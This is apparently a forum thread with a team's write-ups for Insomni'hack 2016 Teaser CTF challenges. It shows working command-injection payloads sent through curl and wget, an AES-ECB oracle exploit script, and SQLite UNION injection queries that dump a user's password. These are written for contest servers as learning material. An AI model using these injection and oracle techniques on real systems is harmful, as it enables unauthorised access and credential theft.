9

This is an announcement to interested parties that our CTF team intends to participate in Insomni'hack 2016 Teaser Catch The Flag (CTF) competition:

Insomni'hack 2016 Teaser

        Insomni'hack 2016 Teaser

When

Saturday January 16 9:00 UTC - Sunday January 17 21:00 UTC
Registration will open 2 weeks 1 week prior the CTF start

What

Jeopardy-style challenges in Pwning, Reverse and Web categories

Prize

Hotel & Entrance to the conference for the top 3 teams (8 people)
Entrance to the conference for the 4th-6th teams (8 people)

  • CTFTime event link, our team has applied as competitors there, and have register to the actual event (username and password are pinned to our CTF chat room's star wall). Currently, 219 teams from around the world have announced participation.
  • Team members gathers in our CTF chat room (closed during competitions) prior and during the competition, where we'll post event login information and pin it to the star wall
  • Request membership in our CTF team only if you're interested to participate in this event and qualify to be the CTF team member (see Basic Requierements here, by requesting access to the CTF chat room. One of the chat room owners will check your request and approve or deny access. Alternatively, post a comment here and explain why you think you could contribute to our team.
  • Team members will post write-ups after the competition closes and as their time permits here as new answers to this thread. By participating you agree to assign some of your time for this, too.
  • Event prizes are for the Insomni'hack 2016 conference that will be held on March 20-21 at Palexpo, Geneva. If we win a prize, team members that contributed the most to our effort and express intention to attend will be offered the booty first.

   Best of luck!

  • 3
    I would like to participate, I have experience in web app security as well as Linux system administration and networking. However I will most likely be available only on the evenings as I'm working by day. Is this acceptable? Thanks. – André Borie Jan 6 '16 at 10:57
  • wow - I didn't know we had a CTF team. I'd love to participate, just requested to be added to the chat room! – Abe Miessler Jan 12 '16 at 16:59
3

smartcat2

As we saw in smartcat1, http://smartcat.insomnihack.ch/cgi-bin/index.cgi lets us submit a string which is executed as a shell command, prefixed by ping -c 1 (with a space at the end). The string we can inject can't contain horizontal spaces or any of $;&|({` but can contain newlines. We're told that this time the flag is in /home/smartcat. We can get the command's output on stdout, but not its output on stderr. We only get the command's output if it succeeds, but that's easily arranged by adding true as the last command.

Let's explore the /home/smartcat directory.

wget -O - http://smartcat.insomnihack.ch/cgi-bin/index.cgi --post-data=$'dest=127.0.0.1\nHOME=/home/smartcat\ncd\nls'

There are two files, flag2 and readflag. Unfortunately neither cat<flag2 nor ./readflag<flag2 succeed. But we can read readflag (it's a binary so I use base64 to make it easy to go through layers of escaping):

wget -O - http://smartcat.insomnihack.ch/cgi-bin/index.cgi --post-data=$'dest=127.0.0.1\nHOME=/home/smartcat\ncd\nbase64<readflag'

There are intersting strings in that program:

Almost there... just trying to make sure you can execute arbitrary commands....
Write 'Give me a...' on my stdin, wait 2 seconds, and then write '... flag!'.
Do not include the quotes. Each part is a different line.

So how can we execute arbitrary code? Pipes are forbidden but not redirection, so we can use sh</path/to/file, if we're able to get arbitrary shell code into a file. A bit of experimenting shows that we can read and write files in /tmp. How do we get the desired file content, without using any command that takes a command line argument? The env command! It lets us write arbitrary code into a file by defining an environment variable whose value contains newline; the code is in the middle of some garbage doesn't prevent running the script. And we can inject an environment variable: HTTP_USER_AGENT.

wget -U $'ignored; { echo Give me a...; sleep 2; echo ... flag\!; } | /home/smartcat/readflag' \
     -O - http://smartcat.insomnihack.ch/cgi-bin/index.cgi \
     --post-data=$'dest=127.0.0.1\nenv>/tmp/D25Tm1Tx.sh\nsh</tmp/D25Tm1Tx.sh\ntrue'`

Bring the noise

Step 1: we get a challenge consisting of 5 random hex digits. We need to reply with a string string whose MD5 in hex starts with those 5 digits.

#include <stdlib.h>
#include <stdio.h>
#include <tomcrypt.h>

static void calculate_md5(unsigned char *result, unsigned char *input, size_t length)
{
    hash_state state;
    md5_init(&state);
    md5_process(&state, input, length);
    md5_done(&state, result);
}

static void search_md5(unsigned challenge, char *response)
{
    unsigned char md5[16];
    response[4] = 0;
    for (response[0] = '!'; response[0] <= '~'; response[0]++) {
        for (response[1] = '!'; response[1] <= '~'; response[1]++) {
            for (response[2] = '!'; response[2] <= '~'; response[2]++) {
                for (response[3] = '!'; response[3] <= '~'; response[3]++) {
                    calculate_md5(md5, (unsigned char*)response, 4);
                    if (md5[0] == challenge >> 12 &&
                        md5[1] == (challenge >> 4 & 0xff) &&
                        (md5[2] >> 4) == (challenge & 0xf)) {
                        return;
                    }
                }
            }
        }
    }
}

int main()
{
    unsigned md5_challenge;
    char md5_response[10];
    if (!scanf("Challenge = %x\n", &md5_challenge)) {
        perror("read challenge");
        exit(1);
    }
    search_md5(md5_challenge, md5_response);
    puts(md5_response);
    return 0;
}

Step 2 uses the following Python function:

def learn_with_vibrations():
    q, n, eqs = 8, 6, 40
    solution = [randint(q) for i in range(n)]
    equations = []
    for i in range(eqs):
        coefs = [randint(q) for i in range(n)]
        result = sum([solution[i]*coefs[i] for i in range(n)]) % q
        vibration = randint(3) - 1
        result = (result + q + vibration) % q
        equations.append('%s, %d' % (str(coefs)[1:-1], result))
    return equations, solution

solution is a list of 6 random integers in the range 0–7. We get 40 equations of the form sum(c[i] * solution[i]) = r where r is the result of the summation mod 8 with a random “vibration” that can cause a difference of -1, 0 or +1. We need to find the solution. There are only 220 potential solutions so we can just try them all by brute force.

#include <stdlib.h>
#include <stdio.h>

#define NUM_EQUATIONS 40
#define NUM_VARIABLES 6

struct equation {
    unsigned char coefs[NUM_VARIABLES];
    unsigned char result;
};

static void read_equation(struct equation *eq)
{
    unsigned i;
    if (!scanf("%c, %c, %c, %c, %c, %c, %c\n",
               &eq->coefs[0], &eq->coefs[1], &eq->coefs[2],
               &eq->coefs[3], &eq->coefs[4], &eq->coefs[5],
               &eq->result)) {
        perror("read equation");
        exit(1);
    }
    for (i = 0; i < NUM_VARIABLES; i++) {
        eq->coefs[i] &= 0x7;
    }
    eq->result &= 0x7;
}

static int try(struct equation *equations, unsigned char *solution)
{
    unsigned i, j;
    for (j = 0; j < NUM_EQUATIONS; j++) {
        unsigned sum = 0;
        for (i = 0; i < NUM_VARIABLES; i++) {
            sum += equations[j].coefs[i] * solution[i];
        }
        if ((sum + (9 - equations[j].result)) % 8 > 2) {
            return 0;
        }
    }
    return 1;
}

static void solve_equations(struct equation *equations, unsigned char *solution)
{
    for (solution[0] = 0; solution[0] <= 7; solution[0]++) {
        for (solution[1] = 0; solution[1] <= 7; solution[1]++) {
            for (solution[2] = 0; solution[2] <= 7; solution[2]++) {
                for (solution[3] = 0; solution[3] <= 7; solution[3]++) {
                    for (solution[4] = 0; solution[4] <= 7; solution[4]++) {
                        for (solution[5] = 0; solution[5] <= 7; solution[5]++) {
                            if (try(equations, solution)) {
                                return;
                            }
                        }
                    }
                }
            }
        }
    }
}

int main()
{
    struct equation equations[NUM_EQUATIONS];
    unsigned j;
    for (j = 0; j < NUM_EQUATIONS; j++) {
        read_equation(&equations[j]);
    }
    unsigned char solution[NUM_VARIABLES];
    solve_equations(equations, solution);
    printf("%d, %d, %d, %d, %d, %d\n",
           solution[0], solution[1], solution[2],
           solution[3], solution[4], solution[5]);
    return 0;
}

Fridginator 10k

Searching for food redirects to an interesting-looking URL, e.g. /search/67d4b8f78c33d07cbdc7293b9cd93b8f37231e5001982893f5c3a6494d14bbba/ for an empty query string. A bit of experimentation shows that the hex string consists of a variable number of 16-byte blocks (represented as 32 hex digits each), and changing one byte of the query leads to changing one block:

query length    blocks  last block constant
0-9             2       yes
9-12            2       no
13-25           3       yes
26-28           3       no
29-41           4       yes
42-44           4       no

I started with the following shell script. Later I used the show command of the Python script below.

#!/bin/bash
# TODO: escape special characters properly
for x do
  curl -s -b cookies.txt -D - http://fridge.insomnihack.ch/food/ \
       -d 'csrfmiddlewaretoken=0j12lGgcA3nXrbXfK5FOaeRUUZZlN56w&submit=Search&term='"$x" |
  sed -n -e "s~^Location: /search/~~" -e T -e "s~/\\r\$~ $x~" -e p
done

If we repeat a 16-byte string in the query, except for the first few and first last bytes, we get a repeated block. This very strongly suggests that those bytes are the result of encrypting a string containing the query with AES-ECB, i.e. the plaintext is prefix + query + suffix. On a 10-byte query for food, changing any of the first 9 bytes affects the first output block, while changing the 10th affects the second block, so the constant prefix must be 7 bytes long. The length of the suffix depends on the padding mode; assuming PKCS#7 padding, where the padding is 1–16 bytes, the suffix is 12 bytes long. The search for users is similar, with the same prefix but a different suffix of length 10.

If we arrange for the suffix to be aligned so that its only last byte is in the last block, there are only 256 possible plaintexts for that last block. Given that the encryption of a block in ECB depends only on its plaintext, we can try all possible 256 blocks consisting of one byte plus its PKCS#7 padding. One of these blocks will match the last block, telling us what the last byte is. Then we can repeat the query with the last two bytes of the suffix in the last block, using the known last byte and varying the next-to-last byte, and so on until we have the whole suffix. The command find_suffixes of the Python script below does this job. The suffix turns out to be |type=object for food and |type=user for users.

This technique won't work to find the prefix. But we can verify guesses by submitting a query like aaaaaaaaa1234567aaaaaaaaa where 1234567. The prefix turns out to be my first guess: search=.

In a last exploit of ECB, we can now find the ciphertext for an arbitrary search operation. Just find the relocation URL for aaaaaaaaa + pkcs7_pad(string) + sss and discard the first and last blocks. This enables us to craft queries that don't match the expected format, which will hopefully prove useful. The Python script below packs that into the search command.

$ ./search.py search "search=|type=bobby'tables"
…
    <div class="panel-body">
     Something went horribly wrong, what are you doing to me?? 
        <p> Error : unrecognized token: &quot;&#39;tables WHERE description LIKE ?&quot; </p>
    </div>

SQL injection is go! I now turn to Benoit Esnard to explore the database.

#!/usr/bin/env python
import cookielib, httplib, re, requests, sys, urllib, urllib2

def escape_control(string):
    return re.sub('[\000- \177\\\\]',
                  lambda m: '\\x%02x' % ord(m.group(0)),
                  string, len(string))

cookie_jar = None
cookie_dict = None
def load_cookies(cookie_file='cookies.txt'):
    global cookie_jar, cookie_dict
    if cookie_jar != None: return
    cookie_jar = cookielib.MozillaCookieJar(cookie_file)
    cookie_jar.load()
    cookie_dict = requests.utils.dict_from_cookiejar(cookie_jar)

class NoRedirectHTTPErrorProcessor(urllib2.HTTPErrorProcessor):
    def http_response(self, request, response):
        return response

def get_relocation(type, query):
    load_cookies()
    opener = urllib2.build_opener(NoRedirectHTTPErrorProcessor,
                                  urllib2.HTTPCookieProcessor(cookie_jar))
    url = 'http://fridge.insomnihack.ch/' + type + '/'
    data = {'csrfmiddlewaretoken': cookie_dict['csrftoken'],
            'term': query,
            'submit': 'Search'}
    response = opener.open(url, urllib.urlencode(data))
    relocation_url = response.headers.getheader('Location')
    ciphertext = re.sub(r'.*/', '', (re.sub(r'/$', '', relocation_url)))
    return ciphertext

def pkcs7_pad(s):
    n = 16 - len(s) % 16
    if n == 0: n = 16
    return s + chr(n) * n

def split32(text):
    return [text[i:i+32] for i in xrange(0, len(text), 32)]

def show_redirect(type, queries):
    for query in queries:
        ciphertext = get_relocation(type, query)
        print ' '.join(split32(ciphertext)), escape_control(query)

def find_suffix(type, length):
    known = ''
    for n in range(1, length+1):
        # Arrange to have n characters of the suffix in the last block
        query = ''.join(['ppppppppp'] +
                        [pkcs7_pad('' + chr(c) + known)
                         for c in range(32,127)] +
                        [ 's' * (n+16-length)])
        ciphertext = get_relocation(type, query)
        # Block 0 is the prefix plus 'ppppppppp'.
        # Blocks 1 through 95 are the ASCII characters.
        # Block 96 is 's'*(n+4) plus the beginning of the suffix.
        # Block 97 is the last unknown character of the suffix plus the
        # known part of the suffix plus padding.
        blocks = split32(ciphertext)
        for b in range(1, len(blocks)-1):
            if blocks[b] == blocks[-1]:
                known = chr(32+b-1) + known
                break
        else:
            raise Exception, 'Cannot find character of suffix before '+ known
    return known

def encrypt(string):
    query = 'ppppppppp' + pkcs7_pad(string) + 'sss'
    return get_relocation('food', query)[32:-32]

def hit_search(parameter_string):
    url = 'http://fridge.insomnihack.ch/search/' + encrypt(parameter_string) + '/'
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))
    response = opener.open(url)
    return response.read()

if __name__ == '__main__':
    if sys.argv[1] == 'show':
        show_redirect(sys.argv[2], sys.argv[3:])
    elif sys.argv[1] == 'suffixes':
        print repr(find_suffix('food', 12))
        print repr(find_suffix('users', 10))
    elif sys.argv[1] == 'encrypt':
        for s in sys.argv[2:]:
            print encrypt(s)
    elif sys.argv[1] == 'search':
        print hit_search(sys.argv[2])
    else:
        sys.stderr.write('''Usage: search.py COMMAND [ARGUMENT...]
show food|users QUERY...        Show encrypted redirection of search
suffixes                        Find /search query suffixes
encrypt                         Show the encryption of a string (plus padding)
''')
        exit(120)
3

smartcat1

The debug interface at http://smartcat.insomnihack.ch/cgi-bin/index.cgi is sensible to CRLF attacks, but some characters are filtered (such as space, | and &).

find is helpful to list the files:

curl "http://smartcat.insomnihack.ch/cgi-bin/index.cgi" --data "dest=%0Afind"

The response tells us the location of the flag:

./index.cgi 
./there 
./there/is 
./there/is/your 
./there/is/your/flag 
./there/is/your/flag/or 
./there/is/your/flag/or/maybe 
./there/is/your/flag/or/maybe/not 
./there/is/your/flag/or/maybe/not/what 
./there/is/your/flag/or/maybe/not/what/do 
./there/is/your/flag/or/maybe/not/what/do/you 
./there/is/your/flag/or/maybe/not/what/do/you/think 
./there/is/your/flag/or/maybe/not/what/do/you/think/really 
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please 
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell 
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me 
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously 
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though 
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here 
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is 
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the 
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the/flag

The flag can't be accessed via its URL, so we'll need to find a way to open the file via the CRLF injection.

Since the input rediction operator isn't blocked, we can use it along with the cat command:

curl "http://smartcat.insomnihack.ch/cgi-bin/index.cgi" --data "dest=%0Acat<./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the/flag"

And the flag was in the response.

Also, before going on supercat2, let's dump index.cgi too, it may be useful later:

curl "http://smartcat.insomnihack.ch/cgi-bin/index.cgi" --data "dest=%0Acat<./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the/flag"
#!/usr/bin/env python

import cgi, subprocess, os

headers = ["mod_cassette_is_back/0.1","format-me-i-im-famous","dirbuster.will.not.help.you","solve_me_already"]

print "X-Powered-By: %s" % headers[os.getpid()%4]
print "Content-type: text/html"
print

print """
<html>

<head><title>Can I haz Smart Cat ???</title></head>

<body>

  <h3> Smart Cat debugging interface </h3>
"""

blacklist = " $;&|({`\t"
results = ""
form = cgi.FieldStorage()
dest = form.getvalue("dest", "127.0.0.1")
for badchar in blacklist:
        if badchar in dest:
                results = "Bad character %s in dest" % badchar
                break

if "%n" in dest:
        results = "Segmentation fault"

if not results:
        try:
                results = subprocess.check_output("ping -c 1 "+dest, shell=True)
        except:
                results = "Error running " + "ping -c 1 "+dest


print """

  <form method="post" action="index.cgi">
    <p>Ping destination: <input type="text" name="dest"/></p>
  </form>

  <p>Ping results:</p><br/>
  <pre>%s</pre>

  <img src="../img/cat.jpg"/>

</body>

</html>
""" % cgi.escape(results)

Fridginator 10k

Be sure to read Gilles's post before this one.

Since we can now submit any arbitrary strings for search, we can easily check that the page is vulnerable to SQL injections.

The search=|type=' payload displays the following error:

Error : unrecognized token: "' WHERE description LIKE ?"

Meaning that SQL injeciton is possible.

The search=|type=user union select 1 as description, 2, 3, 4, 5 from INFORMATION_SCHEMA.TABLES payload displays the following error:

Error : no such table: INFORMATION_SCHEMA.TABLES

So the DBMS is not MySQL, neither PostgreSQL nor Oracle.

Let's try with SQLite: the search=|type=user union select 1 as description, 2, 3, 4, 5 from sqlite_master payload displays 2nd and 3rd column, meaning that the DBMS is SQLite, and that we have a reflected SQL injection!

So let's dump the database structure! The search=|type=user union select 1 as description, name, sql, 4, 5 from sqlite_master payload displays the structure of the users table:

CREATE TABLE "objsearch_user" ("id" integer NOT NULL PRIMARY KEY AUTOINCREMENT, "username" varchar(200) NOT NULL, "description" varchar(2000) NOT NULL, "password" varchar(200) NOT NULL, "email" varchar(200) NOT NULL)

So let's dump passwords!

With the search=|type=user union select 1 as description, username, password, 4, 5 from objsearch_user payload, we can see that John's password is:

SuperDuperPasswordOfTheYear!!!

The last thing to do was to login on his account and steal his precious yogurts.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .